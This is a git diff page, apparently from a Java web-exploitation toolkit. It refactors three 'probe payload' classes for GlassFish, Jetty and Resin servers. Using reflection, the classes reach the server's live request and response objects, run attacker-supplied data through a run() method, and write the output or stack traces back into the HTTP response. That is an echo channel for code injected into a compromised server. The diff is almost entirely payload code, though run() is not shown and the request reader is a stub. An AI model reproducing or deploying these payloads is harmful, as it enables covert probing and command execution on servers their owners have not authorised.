|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -64,16 +62,33 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void execute(Object response, String data) throws Exception {
|
private boolean tryWriteRes(Object request) throws Exception {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
|
String data = getDataFromReq(request);
|
||||||
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
private String getDataFromReq(Object request) throws Exception {
|
private String getDataFromReq(Object request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
@@ -119,4 +134,19 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-12
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
import org.eclipse.jetty.util.Callback;
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.io.StringWriter;
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -49,23 +49,31 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
StringWriter sw = new StringWriter();
|
String result = "";
|
||||||
PrintWriter writer = new PrintWriter(sw);
|
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
String result = sw.toString();
|
if (result != null) {
|
||||||
System.out.println("result: " + result);
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
try {
|
try {
|
||||||
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
resWriter.write(result);
|
resWriter.write(result);
|
||||||
} catch (Exception e) {
|
resWriter.flush();
|
||||||
|
resWriter.close();
|
||||||
|
} catch (Exception x) {
|
||||||
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
|
||||||
ByteBuffer content = UTF_8.encode(result);
|
ByteBuffer content = UTF_8.encode(result);
|
||||||
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
|
Class<?> callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback");
|
||||||
|
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null});
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -122,4 +130,19 @@ public class JettyWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,17 +25,30 @@ public class ResinWriter {
|
|||||||
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
|
||||||
Object response = getFieldValue(request, "_response");
|
Object response = getFieldValue(request, "_response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace(writer);
|
result = getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
// com.caucho.server.connection.AbstractHttpResponse.close
|
// com.caucho.server.connection.AbstractHttpResponse.close
|
||||||
// 不关闭 response 的话会遇到重复写响应体的情况
|
// 不关闭 response 的话会遇到重复写响应体的情况
|
||||||
invokeMethod(response, "close", null, null);
|
// invokeMethod(response, "close", null, null);
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
} finally {
|
} finally {
|
||||||
@@ -84,4 +100,19 @@ public class ResinWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user